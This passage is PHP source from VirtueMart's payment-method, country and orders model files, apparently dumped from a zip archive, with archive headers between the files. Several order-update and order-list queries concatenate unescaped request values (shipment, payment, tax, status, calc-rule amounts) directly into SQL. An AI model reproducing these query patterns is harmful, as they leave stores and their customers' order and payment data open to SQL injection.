$dispatcher->trigger('plgVmDeclarePluginParamsPayment',array($this->_data[$this->_id]->payment_element,$this->_data[$this->_id]->payment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; } return $this->_data[$this->_id]; } /** * Retireve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the publish Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getPayments($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_paymentmethods`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' * FROM `#__virtuemart_paymentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_paymentmethods` USING (`virtuemart_paymentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_paymentmethods`',$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the paymentmethod shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$data->virtuemart_paymentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->paymShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_paymentmethod_shoppergroups','virtuemart_paymentmethod_id',$data->virtuemart_paymentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the paymentmethod tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('paymentmethods'); if(isset($data['payment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $data['payment_element'] = $this->_db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); // special case moneybookers if ( strpos($data['payment_element'] , "moneybookers" ) !==false) { $q = 'UPDATE `#__extensions` SET `enabled`= 1 WHERE `element` ="moneybookers"'; $this->_db->setQuery($q); $this->_db->query(); } JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsPayment',array( $data['payment_element'],$data['payment_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('paymentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallPaymentPluginTable', array( $data['payment_jplugin_id'])); return $table->virtuemart_paymentmethod_id; } /** * Publish a field * * @author Max Milbers * */ /* public function published( $row, $i, $variable = 'published' ) { $imgY = 'tick.png'; $imgX = 'publish_x.png'; $img = $row->$variable ? $imgY : $imgX; $task = $row->$variable ? 'unpublish' : 'publish'; $alt = $row->$variable ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $row->$variable ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); $href = ' '. $alt .'' ; return $href; }*/ /** * Due the new plugin system this should be obsolete * function to render the payment plugin list * * @author Max Milbers * * @param radio list of creditcards * @return html */ public function renderPaymentList($selectedPaym=0,$selecedCC=0){ $payms = self::getPayments(false,true); $listHTML=''; foreach($payms as $item){ $checked=''; if($item->virtuemart_paymentmethod_id==$selectedPaym){ $checked='"checked"'; } $listHTML .= ''.$item->payment_name.'
        '; $listHTML .= '
        '; } return $listHTML; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $payment = $this->getPayment (); $payment->virtuemart_paymentmethod_id = 0; $payment->payment_name = $payment->payment_name.' Copy'; if (!$clone = $this->store($payment)) { vmError( 'createClone '. $payment->getError() ); } return $clone; } } PK@y>\ L- - ,components/com_virtuemart/models/country.phpnuW+AsetMainTable('countries'); array_unshift($this->_validOrderingFieldName,'country_name'); $this->_selectedOrdering = 'country_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Retreive a country record given a country code. * * @author RickG * @param string $code Country code to lookup * @return object Country object from database */ function getCountryByCode($code) { $db = JFactory::getDBO(); $countryCodeLength = strlen($code); switch ($countryCodeLength) { case 2: $countryCodeFieldname = 'country_2_code'; break; case 3: $countryCodeFieldname = 'country_3_code'; break; default: return false; } $query = 'SELECT *'; $query .= ' FROM `#__virtuemart_countries`'; $query .= ' WHERE `' . $countryCodeFieldname . '` = "' . $code . '"'; $db->setQuery($query); return $db->loadObject(); } /** * Retrieve a list of countries from the database. * * @author RickG * @author Max Milbers * @param string $onlyPublished True to only retrieve the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of country objects */ function getCountries($onlyPublished=true, $noLimit=false, $filterCountry = false) { $where = array(); $this->_noLimit = $noLimit; // $query = 'SELECT * FROM `#__virtuemart_countries` '; /* add filters */ if ($onlyPublished) $where[] = '`published` = 1'; if($filterCountry){ $filterCountry = '"%' . $this->_db->getEscaped( $filterCountry, true ) . '%"' ; //$keyword = $this->_db->Quote($filterCountry, false); $where[] = '`country_name` LIKE '.$filterCountry.' OR `country_2_code` LIKE '.$filterCountry.' OR `country_3_code` LIKE '.$filterCountry; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_countries`',$whereString,'',$ordering); } } //no closing tag pure phpPK@y>\V$$+components/com_virtuemart/models/orders.phpnuW+Adb is never used in the model ? * @package VirtueMart * @author RolandD */ class VirtueMartModelOrders extends VmModel { /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct(); $this->setMainTable('orders'); $this->addvalidOrderingFieldName(array('order_name','order_email','payment_method','virtuemart_order_id' ) ); } /** * This function gets the orderId, for anonymous users * @author Max Milbers */ public function getOrderIdByOrderPass($orderNumber,$orderPass){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_pass`="'.$db->getEscaped($orderPass).'" AND `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); // vmdebug('getOrderIdByOrderPass '.$orderId); return $orderId; } /** * This function gets the orderId, for payment response * author Valerie Isaksen */ public static function getOrderIdByOrderNumber($orderNumber){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); return $orderId; } /** * This function seems completly broken, JRequests are not allowed in the model, sql not escaped * This function gets the secured order Number, to send with paiement * */ public function getOrderNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `order_number` FROM `#__virtuemart_orders` WHERE virtuemart_order_id="'.(int)$virtuemart_order_id.'" '; $db->setQuery($q); $OrderNumber = $db->loadResult(); return $OrderNumber; } /** * Was also broken, actually used? * * get next/previous order id * */ public function getOrderId($order_id, $direction ='DESC') { if ($direction == 'ASC') { $arrow ='>'; } else { $arrow ='<'; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`'.$arrow.(int)$order_id; $q.= ' ORDER BY `virtuemart_order_id` '.$direction ; $db->setQuery($q); if ($oderId = $db->loadResult()) { return $oderId ; } return 0 ; } /** * This is a proxy function to return an order safely, we may set the getOrder function to private * Maybe the right place would be the controller, cause there are JRequests in it. But for a fast solution, * still better than to have it 3-4 times in the view.html.php of the views. * @author Max Milbers * * @return array */ public function getMyOrderDetails($orderID = 0, $orderNumber = false, $orderPass = false){ $_currentUser = JFactory::getUser(); $cuid = $_currentUser->get('id'); $orderDetails = false; // If the user is not logged in, we will check the order number and order pass if(empty($orderID) and empty($cuid)){ // If the user is not logged in, we will check the order number and order pass if ($orderPass = JRequest::getString('order_pass',$orderPass)){ $orderNumber = JRequest::getString('order_number',$orderNumber); $orderId = $this->getOrderIdByOrderPass($orderNumber,$orderPass); if(empty($orderId)){ echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } $orderDetails = $this->getOrder($orderId); } } else { // If the user is logged in, we will check if the order belongs to him $virtuemart_order_id = JRequest::getInt('virtuemart_order_id',$orderID) ; if (!$virtuemart_order_id) { $virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber(JRequest::getString('order_number')); } $orderDetails = $this->getOrder($virtuemart_order_id); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if(!isset($orderDetails['details']['BT']->virtuemart_user_id)){ $orderDetails['details']['BT']->virtuemart_user_id = 0; } //if(!empty($orderDetails['details']['BT']->virtuemart_user_id)){ vmdebug('getMyOrderDetails',$cuid,$orderDetails['details']['BT']->virtuemart_user_id); if ($orderDetails['details']['BT']->virtuemart_user_id != $cuid) { echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } //} } } return $orderDetails; } /** * Load a single order, Attention, this function is not protected! Do the right manangment before, to be certain * we suggest to use getMyOrderDetails */ public function getOrder($virtuemart_order_id){ //sanitize id $virtuemart_order_id = (int)$virtuemart_order_id; $db = JFactory::getDBO(); $order = array(); // Get the order details $q = "SELECT u.*,o.*, s.order_status_name FROM #__virtuemart_orders o LEFT JOIN #__virtuemart_orderstates s ON s.order_status_code = o.order_status LEFT JOIN #__virtuemart_order_userinfos u ON u.virtuemart_order_id = o.virtuemart_order_id WHERE o.virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['details'] = $db->loadObjectList('address_type'); // Get the order history $q = "SELECT * FROM #__virtuemart_order_histories WHERE virtuemart_order_id=".$virtuemart_order_id." ORDER BY virtuemart_order_history_id ASC"; $db->setQuery($q); $order['history'] = $db->loadObjectList(); // Get the order items $q = 'SELECT virtuemart_order_item_id, product_quantity, order_item_name, order_item_sku, i.virtuemart_product_id, product_item_price, product_final_price, product_basePriceWithTax, product_discountedPriceWithoutTax, product_priceWithoutTax, product_subtotal_with_tax, product_subtotal_discount, product_tax, product_attribute, order_status, p.product_available_date, p.product_availability, intnotes, virtuemart_category_id FROM (#__virtuemart_order_items i LEFT JOIN #__virtuemart_products p ON p.virtuemart_product_id = i.virtuemart_product_id) LEFT JOIN #__virtuemart_product_categories c ON p.virtuemart_product_id = c.virtuemart_product_id WHERE `virtuemart_order_id`="'.$virtuemart_order_id.'" group by `virtuemart_order_item_id`'; //group by `virtuemart_order_id`'; Why ever we added this, it makes trouble, only one order item is shown then. // without group by we get the product 3 times, when it is in 3 categories and similar, so we need a group by //lets try group by `virtuemart_order_item_id` $db->setQuery($q); $order['items'] = $db->loadObjectList(); // Get the order items $q = "SELECT * FROM #__virtuemart_order_calc_rules AS z WHERE virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['calc_rules'] = $db->loadObjectList(); // vmdebug('getOrder my order',$order); return $order; } /** * Select the products to list on the product list page * @param $uid integer Optional user ID to get the orders of a single user * @param $_ignorePagination boolean If true, ignore the Joomla pagination (for embedded use, default false) */ public function getOrdersList($uid = 0, $noLimit = false) { // vmdebug('getOrdersList'); $this->_noLimit = $noLimit; $select = " o.*, CONCAT_WS(' ',u.first_name,u.middle_name,u.last_name) AS order_name " .',u.email as order_email,pm.payment_name AS payment_method '; $from = $this->getOrdersListQuery(); /* $_filter = array(); if ($uid > 0) { $_filter[] = ('u.virtuemart_user_id = ' . (int)$uid); }*/ $where = array(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('storeadmin')){ $myuser =JFactory::getUser(); $where[]= ' u.virtuemart_user_id = ' . (int)$myuser->id.' AND o.virtuemart_vendor_id = "1" '; } else { if(empty($uid)){ $where[]= ' o.virtuemart_vendor_id = "1" '; } else { $where[]= ' u.virtuemart_user_id = ' . (int)$uid.' AND o.virtuemart_vendor_id = "1" '; } } if ($search = JRequest::getString('search', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $search = str_replace(' ','%',$search); $searchFields = array(); $searchFields[] = 'u.first_name'; $searchFields[] = 'u.middle_name'; $searchFields[] = 'u.last_name'; $searchFields[] = 'o.order_number'; $searchFields[] = 'u.company'; $searchFields[] = 'u.email'; $searchFields[] = 'u.phone_1'; $searchFields[] = 'u.address_1'; $searchFields[] = 'u.zip'; $where[] = implode (' LIKE '.$search.' OR ', $searchFields) . ' LIKE '.$search.' '; //$where[] = ' ( u.first_name LIKE '.$search.' OR u.middle_name LIKE '.$search.' OR u.last_name LIKE '.$search.' OR `order_number` LIKE '.$search.')'; } $order_status_code = JRequest::getString('order_status_code', false); if ($order_status_code and $order_status_code!=-1){ $where[] = ' o.order_status = "'.$order_status_code.'" '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode (' AND ', $where) . ') '; } else { $whereString = ''; } if ( JRequest::getCmd('view') == 'orders') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by o.modified_on DESC'; } $this->_data = $this->exeSortSearchListQuery(0,$select,$from,$whereString,'',$ordering); return $this->_data ; } /** * List of tables to include for the product query * @author RolandD */ private function getOrdersListQuery() { return ' FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type="BT" LEFT JOIN #__virtuemart_paymentmethods_'.VMLANG.' as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id '; } /** * Update an order item status * @author Max Milbers * @author Ondřej Spilka - used for item edit also * @author Maik Künnemann */ public function updateSingleItem($virtuemart_order_item_id, &$orderdata, $orderUpdate = false) { //vmdebug('updateSingleItem',$virtuemart_order_item_id,$orderdata); $table = $this->getTable('order_items'); $table->load($virtuemart_order_item_id); $oldOrderStatus = $table->order_status; if(empty($oldOrderStatus)){ $oldOrderStatus = $orderdata->current_order_status; if($orderUpdate and empty($oldOrderStatus)){ $oldOrderStatus = 'P'; } } // $table->order_status = $orderdata->orderstatus; JPluginHelper::importPlugin('vmcustom'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateSingleItem',array($table,&$orderdata)); $dataT = get_object_vars($table); // $doUpdate = JRequest::getString('update_values'); $orderdatacopy = $orderdata; $data = array_merge($dataT,(array)$orderdatacopy); // $data['order_status'] = $orderdata->orderstatus; if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $this->_currencyDisplay = CurrencyDisplay::getInstance(); $rounding = $this->_currencyDisplay->_priceConfig['salesPrice'][1]; if ( $orderUpdate and !empty($data['virtuemart_order_item_id'])) { //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `virtuemart_order_item_id` = ".$data['virtuemart_order_item_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); if($data['calculate_product_tax']) { if(!$taxCalcValue){ //Could be a new item, missing the tax rules, we try to get one of another product. //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); } if(empty($data['product_subtotal_discount']))$data['product_subtotal_discount'] = 0.0; // "",null,0,NULL, FALSE => 0.0 //We do two cases, either we have the final amount and discount if(!empty($data['product_final_price']) and $data['product_final_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = $data['product_final_price'] * $taxCalcValue / ($taxCalcValue + 100); //vmdebug($data['product_final_price'] .' * '.$taxCalcValue.' / '.($taxCalcValue + 100).' = '.$data['product_tax']); } if(empty($data['product_item_price']) or $data['product_item_price']==0){ if(empty($data['product_tax']))$data['product_tax'] = 0.0; $data['product_item_price'] = round($data['product_final_price'], $rounding) - $data['product_tax']; $data['product_discountedPriceWithoutTax'] = 0.0;// round($data['product_final_price'], $rounding) ; $data['product_priceWithoutTax'] = 0.0; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } else //or we have the base price and a manually set discount. if(!empty($data['product_item_price']) and $data['product_item_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = ($data['product_item_price']-$data['product_subtotal_discount']) * ($taxCalcValue/100.0); } $data['product_discountedPriceWithoutTax'] = 0.0; $data['product_priceWithoutTax'] = 0.0; $data['product_final_price'] = round($data['product_item_price'], $rounding) + $data['product_tax'] + $data['product_subtotal_discount']; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } //$data['product_subtotal_discount'] = (round($orderdata->product_final_price, $rounding) - round($data['product_basePriceWithTax'], $rounding)) * $orderdata->product_quantity; $data['product_subtotal_with_tax'] = round($data['product_final_price'], $rounding) * $orderdata->product_quantity; } $table->bindChecknStore($data); if ( $orderUpdate ) { if ( empty($data['order_item_sku']) ) { //update product identification $db = JFactory::getDBO(); $prolang = '#__virtuemart_products_' . VMLANG; $oi = " #__virtuemart_order_items"; $protbl = "#__virtuemart_products"; $sql = "UPDATE $oi, $protbl, $prolang" . " SET $oi.order_item_sku=$protbl.product_sku, $oi.order_item_name=$prolang.product_name ". " WHERE $oi.virtuemart_product_id=$protbl.virtuemart_product_id " . " and $oi.virtuemart_product_id=$prolang.virtuemart_product_id " . " and $oi.virtuemart_order_item_id=$virtuemart_order_item_id"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } } // Update the order item history //$this->_updateOrderItemHist($id, $order_status, $customer_notified, $comment); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } //OSP update cartRules/shipment/payment //it would seem strange this is via item edit //but in general, shipment and payment would be tractated as another items of the order //in datas they are not, bu okay we have it here and functional //moreover we can compute all aggregate values here via one aggregate SQL if ( $orderUpdate ) { $db = JFactory::getDBO(); $ordid = $table->virtuemart_order_id; //cartRules $calc_rules = JRequest::getVar('calc_rules','', '', 'array'); $calc_rules_amount = 0; $calc_rules_discount_amount = 0; $calc_rules_tax_amount = 0; if(!empty($calc_rules)) { foreach($calc_rules as $calc_kind => $calc_rule) { foreach($calc_rule as $virtuemart_order_calc_rule_id => $calc_amount) { $sql = "UPDATE `#__virtuemart_order_calc_rules` SET `calc_amount`=$calc_amount WHERE `virtuemart_order_calc_rule_id`=$virtuemart_order_calc_rule_id"; $db->setQuery($sql); if(isset($calc_amount)) $calc_rules_amount += $calc_amount; if ($calc_kind == 'DBTaxRulesBill' || $calc_kind == 'DATaxRulesBill') { $calc_rules_discount_amount += $calc_amount; } if ($calc_kind == 'taxRulesBill') { $calc_rules_tax_amount += $calc_amount; } if ($db->query() === false) { vmError($db->getError()); } } } } //shipment $os = JRequest::getString('order_shipment'); $ost = JRequest::getString('order_shipment_tax'); if ( $os!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_shipment`=$os,`order_shipment_tax`=$ost WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } //payment $op = JRequest::getString('order_payment'); $opt = JRequest::getString('order_payment_tax'); if ( $op!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_payment`=$op,`order_payment_tax`=$opt WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } $sql = " UPDATE `#__virtuemart_orders` SET `order_total`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment`+`order_shipment_tax`+`order_payment`+`order_payment_tax`+$calc_rules_amount, `order_discountAmount`=(SELECT sum(product_subtotal_discount) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_billDiscountAmount`=`order_discountAmount`+$calc_rules_discount_amount, `order_salesPrice`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_tax`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_subtotal`=(SELECT sum(ROUND(product_item_price, ". $rounding .")*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid),"; if(JRequest::getString('calculate_billTaxAmount')) { $sql .= "`order_billTaxAmount`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment_tax`+`order_payment_tax`+$calc_rules_tax_amount"; } else { $sql .= "`order_billTaxAmount`=".JRequest::getString('order_billTaxAmount'); } $sql .= " WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError('updateSingleItem '.$db->getError().' and '.$sql); } } $this->handleStockAfterStatusChangedPerProduct($orderdata->order_status, $oldOrderStatus, $table,$table->product_quantity); // } } /** * Strange name is just temporarly * * @param unknown_type $order_id * @param unknown_type $order_status * @author Max Milbers */ var $useDefaultEmailOrderStatus = true; public function updateOrderStatus($orders=0, $order_id =0,$order_status=0){ //General change of orderstatus $total = 1 ; if(empty($orders)){ $orders = array(); $orderslist = JRequest::getVar('orders', array()); $total = 0 ; // Get the list of orders in post to update foreach ($orderslist as $key => $order) { if ( $orderslist[$key]['order_status'] !== $orderslist[$key]['current_order_status'] ) { $orders[$key] = $orderslist[$key]; $total++; } } } if(!is_array($orders)){ $orders = array($orders); } /* Process the orders to update */ $updated = 0; $error = 0; if ($orders) { // $notify = JRequest::getVar('customer_notified', array()); // ??? // $comments = JRequest::getVar('comments', array()); // ??? foreach ($orders as $virtuemart_order_id => $order) { if ($order_id >0) $virtuemart_order_id= $order_id; $this->useDefaultEmailOrderStatus = false; if($this->updateStatusForOneOrder($virtuemart_order_id,$order)){ $updated ++; } else { $error++; } } } $result = array( 'updated' => $updated , 'error' =>$error , 'total' => $total ) ; return $result ; } // IMPORTANT: The $inputOrder can contain extra data by plugins //also strange $useTriggers is always activated? function updateStatusForOneOrder($virtuemart_order_id,$inputOrder,$useTriggers=true){ // vmdebug('updateStatusForOneOrder', $inputOrder); /* Update the order */ $data = $this->getTable('orders'); $data->load($virtuemart_order_id); $old_order_status = $data->order_status; $data->bind($inputOrder); $cp_rm = VmConfig::get('cp_rm',array('C')); if(!is_array($cp_rm)) $cp_rm = array($cp_rm); if ( in_array((string) $data->order_status,$cp_rm) ){ if (!empty($data->coupon_code)) { if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); CouponHelper::RemoveCoupon($data->coupon_code); } } //First we must call the payment, the payment manipulates the result of the order_status if($useTriggers){ if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); // Payment decides what to do when order status is updated JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderPayment',array(&$data,$old_order_status)); foreach ($_returnValues as $_returnValue) { if ($_returnValue === true) { break; // Plugin was successfull } elseif ($_returnValue === false) { return false; // Plugin failed } // Ignore null status and look for the next returnValue } $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderShipment',array(&$data,$old_order_status)); /** * If an order gets cancelled, fire a plugin event, perhaps * some authorization needs to be voided */ if ($data->order_status == "X") { $_dispatcher = JDispatcher::getInstance(); //Should be renamed to plgVmOnCancelOrder $_dispatcher->trigger('plgVmOnCancelPayment',array(&$data,$old_order_status)); } } if(empty($data->delivery_date)){ $del_date_type = VmConfig::get('del_date_type','m'); if(strpos($del_date_type,'os')!==FALSE){ //for example osS $os = substr($del_date_type,2); if($data->order_status == $os){ $date = JFactory::getDate(); $data->delivery_date = $date->toMySQL(); } } else { VmConfig::loadJLang('com_virtuemart_orders', true); $data->delivery_date = JText::_('COM_VIRTUEMART_DELDATE_INV'); } } if ($data->store()) { $task= JRequest::getCmd('task',0); $view= JRequest::getWord('view',0); /*if($task=='edit'){ $update_lines = JRequest::getInt('update_lines'); } else /*/ if ($task=='updatestatus' and $view=='orders') { $lines = JRequest::getVar('orders'); $update_lines = $lines[$virtuemart_order_id]['update_lines']; } else { $update_lines = 1; } if($update_lines==1){ vmdebug('$update_lines '.$update_lines); $q = 'SELECT virtuemart_order_item_id FROM #__virtuemart_order_items WHERE virtuemart_order_id="'.$virtuemart_order_id.'"'; $db = JFactory::getDBO(); $db->setQuery($q); $order_items = $db->loadObjectList(); if ($order_items) { // vmdebug('updateStatusForOneOrder',$data); foreach ($order_items as $order_item) { //$this->updateSingleItem($order_item->virtuemart_order_item_id, $data->order_status, $order['comments'] , $virtuemart_order_id, $data->order_pass); $this->updateSingleItem($order_item->virtuemart_order_item_id, $data); } } } /* Update the order history */ $this->_updateOrderHist($virtuemart_order_id, $data->order_status, $inputOrder['customer_notified'], $inputOrder['comments']); // When the plugins did not already notified the user, do it here (the normal way) //Attention the ! prevents at the moment that an email is sent. But it should used that way. // if (!$inputOrder['customer_notified']) { $this->notifyCustomer( $data->virtuemart_order_id , $inputOrder ); // } JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponUpdateOrderStatus', array($data, $old_order_status)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } return true; } else { return false; } } /** * Update an order status and send e-mail if needed * @author RolandD * @author Oscar van Eijk * @deprecated */ public function updateStatus( $orders=null,$virtuemart_order_id =0){ $this -> updateOrderStatus($orders,$virtuemart_order_id); return; } /** * Get the information from the cart and create an order from it * * @author Oscar van Eijk * @param object $_cart The cart data * @return mixed The new ordernumber, false on errors */ public function createOrderFromCart($cart) { if ($cart === null) { vmError('createOrderFromCart() called without a cart - that\'s a programming bug','Can\'t create order, sorry.'); return false; } $usr = JFactory::getUser(); $prices = $cart->getCartPrices(); if (($orderID = $this->_createOrder($cart, $usr, $prices)) == 0) { vmError('Couldn\'t create order','Couldn\'t create order'); return false; } if (!$this->_createOrderLines($orderID, $cart)) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } if (!$this-> _createOrderCalcRules($orderID, $cart) ) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } $this->_updateOrderHist($orderID); if (!$this->_writeUserInfo($orderID, $usr, $cart)) { vmError('Couldn\'t create order history','Couldn\'t create order history'); return false; } return $orderID; } /** * Write the order header record * * @author Oscar van Eijk * @param object $_cart The cart data * @param object $_usr User object * @param array $_prices Price data * @return integer The new ordernumber */ private function _createOrder($_cart, $_usr, $_prices) { // TODO We need tablefields for the new values: // Shipment: // $_prices['shipmentValue'] w/out tax // $_prices['shipmentTax'] Tax // 